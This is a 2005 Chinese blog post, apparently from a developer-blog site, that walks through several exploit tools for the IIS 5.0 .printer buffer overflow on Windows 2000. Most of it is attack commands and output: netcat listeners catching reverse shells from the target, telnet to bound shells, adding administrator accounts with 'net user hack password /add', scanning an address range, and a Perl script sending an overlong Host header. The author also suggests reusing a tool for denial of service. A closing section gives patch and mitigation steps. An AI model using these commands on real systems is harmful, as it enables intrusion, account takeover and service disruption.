IIS ISAPI Printer远程溢出攻击

原创 2005年05月23日 19:57:00

国产.printer远程溢出攻击软件使用实例
1、小榕的IIS5Exploit
严格地说,这软件并不是小榕写的,这软件是小榕根据jill.c改编优化部分代
码编译出来的。不过这软件确实很好,特别推荐大家使用。
下载地址http://www.netxeyes.com/IIS5Exploit.zip
压缩包里含有三个文件IIS5Exploit.exe、nc.exe、readme.txt
IIS5 .Printer Exploit 使用说明
-----------------以下是readme.txt的内容
本程序适用于英文版IIS 5.0
1、首先在本机用NC开一个监听端口。
C:/>nc -l -p 99
2、运行IIS5Exploit
D:/>jill xxx.xxx.xxx.xxx 211.152.188.1 333
===========IIS5 English Version .Printer Exploit.===========
===Written by Assassin 1995-2001. http://www.netXeyes.com===
Connecting 211.152.188.1 ...OK.
Send Shell Code ...OK
IIS5 Shell Code Send OK
其中211.152.188.1指向本地IP。
稍等片刻,如果成功在本机NC监听的端口出现:
C:/>nc -l -p 99
Microsoft Windows 2000[Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
C:/>
可以执行命令。如:
C:/>net user hack password /add
The command completed successfully.
C:/>net localgroup administrartors hack /add
这样就创建了一个属于Administrator组的用户Hack,密码为password.
-----------------------------------------------------------------
使用说明解释:
使用这软件实际上要开两个MS-DOS窗口,首先运行nc -l -p 99 当然也可以
把端口定义为其他的,建议把开的端口改高些,避免在测试的同时恰好别人
在扫描你的端口,影响你正常的测试,小榕在写这说明时也许很急,写运行
运行IIS5Exploit也没写好,正确的是
IIS5Exploit 目标主机的IP 攻击者IP 99(要与自己NC开的端口一致)
为了攻击的成功率高,首先必须要明确所攻击的目标主机一定是开有
http/https服务的win2k。我们可以通过telnet目标主机的80端口get index.htm
来判断对方win2k的版本是不是Microsoft Windows 2000[Version 5.00.2195]
也可以用eyas提供的ScanPrinter来扫描获得。

2、sunx.org提供的iis5hack
下载地址http://www.sunx.org/mysoft/iis5hack.zip
运行参数
iis5hack <目标主机IP> <WEB端口80> <主机类型>

  中文WIN2K:      0
  中文WIN2K sp1:    1
  英文WIN2K:      2
  英文WIN2K, sp1:    3
  日文WIN2K:      4
  日文WIN2K, sp1:    5

E:/HACK/print>iis5hack 63.110.130.66 80 3
iis5 remote .printer overflow. writen by sunx
  http://www.sunx.org
  for test only, dont used to hack,
connecting...
sending...
Now you can telnet to 99 port
good luck

c:/telnet 63.110.130.66 99
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:/WINNT/system32>
已经进入目标主机,你想干什么就是你的事啦。该软件的优点是针对多种语
言版本的WIN2K系统,缺点,溢出成功后目标主机的IIS停止服务,并且得到
SHELL后要在较短时间内完成你想做的事,时间长的话连SHELL、IIS都会死
掉;不能随意定义目标主机的SHELL端口。
在退出TELNET服务时也一定要记住正常exit退出,否则目标主机的IIS也会死。
呵呵,我在测试过程中发现只是两三分钟时间对方的IIS就死了,看来把这软
件当做拒绝服务攻击型的软件也不错哦。

3、isno.yeah.net提供的cniis、iisx
isno最新的.printer漏洞攻击软件是iisx,是CNIIS的升级版本,按找作者的
使用说明我们可以看到:
使用方法: iisx <目标主机> <sp> <-p|-a|-r attackhost attackport>
   
     sp: 0 --- 目标没有安装SP , 1 --- 目标安装了SP1

提供三种对IIS5 .printer漏洞的攻击方式:
  
-p --- 对攻击目标运行iisx 66.77.88.99 0 -p
   在66.77.88.99上开一个端口7788,可以直接telnet 66.77.88.99 7788

-a --- 对攻击目标运行iisx 66.77.88.99 0 -a
   在66.77.88.99上添加一个管理员帐号:hax,其密码也为hax,
   可以使用net use //66.77.88.99/ipc$ "hax" /user:"hax"建立连接。

-r --- 反向连接(类似于jill的方式),具体实施方法如下:

   例如先在一台机器111.222.333.444上运行nc -vv -l -p 5432,
   然后对攻击目标运行iisx 66.77.88.99 0 -r 111.222.33.444 5432,
   这时在111.222.333.444就会出现来自66.77.88.99的连接。
---------------------------------
对于该软件,我没有做他多的测试,不过我们可以看到,其第一种方法和SUNX的
IIS5HACK是一样的,只不过定制溢出的TELNET端口不同,对于固定溢出端口,我
总觉得不是那么好,至少在你测试的时候别人也在扫描相同的主机时,你的行为
就很容易被人发现。
对于第二种方法,只能攻击那些安全技术非常贫乏的网络管理员了,因为添加这
样一个密码和用户ID都一样的超级用户都能成功的话,对方也就很该死了,因为
那管理员连密码长字节和特殊字符化都不设定,那水平就可想而知了。
对于第三种攻击方法和jill.c差不多,所以也不再做详细介绍。

四、一些扫描.printer漏洞的程序测试
1、eyas编写的扫描程序cgicheck
eyas我一个很好的朋友,一个很有进取精神的小伙子,现在在国内某安全公司
工作,在微软的.printer漏洞公告出来后就写了一个专门扫描该漏洞的工具
scanprinter,由于时间仓促,那软件尽管可以扫描该漏洞,但在定制扫描线程
和超时延迟方面没有写好,使用起来不是那么如意。
本来想介绍他的scanprinter,恰好在我写到这部分内容时,他给我E来他的新
作品cgicheck,这也是个测试版的DOS命令工具,从文件名我们可以看到,他打
算把这软件写成类似twwwscan那样的cgi漏洞扫描工具。
现在让我们看看使用效果。
以下是运行在AMD850 128MB 64KISDN WIN98SE 下的扫描情况。
E:/>CGICHECK 203.212.4.1 203.212.4.255 100 4
[203.212.4.18  ] has .printer mapped.
[203.212.4.19  ] has .printer mapped.
[203.212.4.227 ] has .printer mapped.
******** 100% Wait 4 seconds to exit ********
[203.212.4.237 ] has .printer mapped.
[203.212.4.238 ] has .printer mapped.

All done.

Complete.Scan 254 targets use 15.8 seconds.Speed 16.1/s

从扫描结果来看这软件确实有很大的提高,建议EYAS在以后软件的升级中让软
件可以自定义所需要扫描的内容,毕竟在针对某网段的扫描,我们不需要把所
有的CGI漏洞都扫描(要知道有些漏洞已经很少看见了,加进去只耽误扫描的效
率)。

2、pl扫描程序
我们看以下的一个用perl编写的扫描程序
#!/usr/bin/perl
# Exploit By storm@stormdev.net
# Tested with sucess against Win2k IIS 5.0 + SP1
# Remote Buffer Overflow Test for Internet Printing Protocol
# This code was written after eEye brought this issue in BugTraq.
use Socket;
print "-- IPP - IIS 5.0 Vulnerability Test By Storm --/n/n";
if (not $ARGV[0]) {
print qq~
Usage: webexplt.pl <host>
~;
exit;}
$ip=$ARGV[0];
print "Sending Exploit Code to host: " . $ip . "/n/n";
my @results=sendexplt("GET /NULL.printer HTTP/1.0/n" . "Host:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/n/n");
print "Results:/n";
if (not @results) {
print "The Machine tested has the IPP Vulnerability!";
}
print @results;
sub sendexplt {
    my ($pstr)=@_;
$target= inet_aton($ip) || die("inet_aton problems");
   socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
        die("Socket problems/n");
    if(connect(S,pack "SnA4x8",2,80,$target)){
        select(S);       
$|=1;
        print $pstr;      
my @in=<S>;
     select(STDOUT);
    close(S);
        return @in;
    } else { die("Can't connect.../n"); }
}

---------------------------------------------------------------
实际上这扫描程序是一个比较简单的pl扫描,命令格式webexplt.pl ip
只能针对某一IP地址进行检测,通过发送GET /NULL.printer HTTP/1.0/n
请求,然后传送一超长字符串给目标主机,去检测是否存在.printer漏洞。

3、其他的一些扫描软件例如www.netguard.com.cn、www.xfocus.org
发布的easyscan、x-scaner都专门做了针对printer漏洞的扫描,大家可以
试试。

5、漏洞的消除
最好的办法是安全微软针对这漏洞发的补丁:
补丁下载地址:
http://www.microsoft.com/Downloads/...ReleaseID=29321

在你无法获得补丁的情况下,我们也可以通过手动的方式设置你的服务器:
设置》控制面板》管理工具》INTERNET服务管理器》右键单击你的站点
如我的是badboy-f5gzewyd》属性》编辑WWW服务》主目录》配置》
应用程序配置》找到.printer》清除
但这样的操作你就丧失网络打印的功能。
呵呵,总比被人利用这漏洞入侵要好呀。

有关IIS HACK的一些方法整理

BY XUNDIhttp://www.xfocus.orgxundi1@21cn.com这里整理了一些关于IIS HACK的一些漏洞,供大家参考。1,介绍由于这些方法针对通过端口80来操作,所以具有一...
  • ghj1976
  • ghj1976
  • 2000年12月01日 16:17
  • 1354

IIS下301跳转方法:ISAPI_Rewrite伪静态重写+PHP301

今天把网站域名更为二级域名,准备把原来伪静态的页面301重定向到新的域名。 之前使用ISAPI_Rewrite 1.3做的伪静态:[ISAPI_Rewrite] CacheClockRate 360...
  • gorgle
  • gorgle
  • 2017年06月18日 16:39
  • 810

使用ISAPI过滤器开发来增强IIS的功能

作为一个WWW服务器(WEB)软件,微软公司的Internet Infomation Server(IIS)简单易学,管理方便,得到了广泛的使用。您还可以通过ISAPI过滤器,进行自己定制的处理,来增...

在32和64位系统的IIS下发布Delphi编写的WebServices(ISAPI)

最近在服务器和本地调用delphi写的导出Excel 的webservices,出现一系列配置和权限问题,现在一一记录下来。 在windows7系统自带的IIS7.0中及windows 2008 r2...

在IIS6.0上将php-cgi运行模式切换到php-isapi运行模式

配置演示环境:VM8 + Windows Server 2003 Enterprise Edition + IIS6.0 + php4.2.17_win32 一、 备份之前的配置 注意:该步骤...
  • samleeo
  • samleeo
  • 2012年06月30日 10:23
  • 926

iis7中isapi的配置(URL重写)

Win7/Windows2003下IIS6.0、IIS7.5的伪静态组件安装和伪静态配置方法,还包括常用的伪静态规则使用方法。   1)下载IIS伪静态组件——ISAPI_Rewrite3完全破...

用win7自带IIS7.0发布ISAPI模块

用win7自带IIS7.0发布ISAPI模块 前言:这两天需要用ISAPI开发一个应用接口,结果在发布的时候遇到了很大的麻烦,用网上试了很多办法也没有成功。现在找到一种很简单的发布方法、现在...

最新-如何在Windows server 2008中配置IIS 75的ISAPI和CGI限制

服务器越来越多的使用windows2008R2作为服务器操作系统,IIS7.5是安装在win7、win8、win10里的web服务器的管理程序,win2003、win2000的web服务器使用的是ii...
  • qqxinxi
  • qqxinxi
  • 2017年03月26日 18:20
  • 2472

微软IIS的ISAPI筛选器权限法则

前言:微软IIS中的ISAPI其实是个对于很多人都很陌生的东西,这个东西几乎控制着IIS中一切动态内容的生命,因为只有ISAPI,才可以让你的动态内容交互式网页(如ASPX/PHP等),因为ISAPI...

IIS 拟静态 ISAPI_Rewrite配置

IIS拟静态,一直以为是个很简单的事,几次都是很顺利的给弄成功了,网上也有教程,几步就弄好。但是出了问题的帖子还真少。。话说回来,今天出的这个问题,还真折腾了我一天,曾以为是个很诡异的问题,弄清楚了还...
  • sun886
  • sun886
  • 2012年02月13日 18:03
  • 1470
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:IIS ISAPI Printer远程溢出攻击
举报原因:
原因补充:

(最多只允许输入30个字)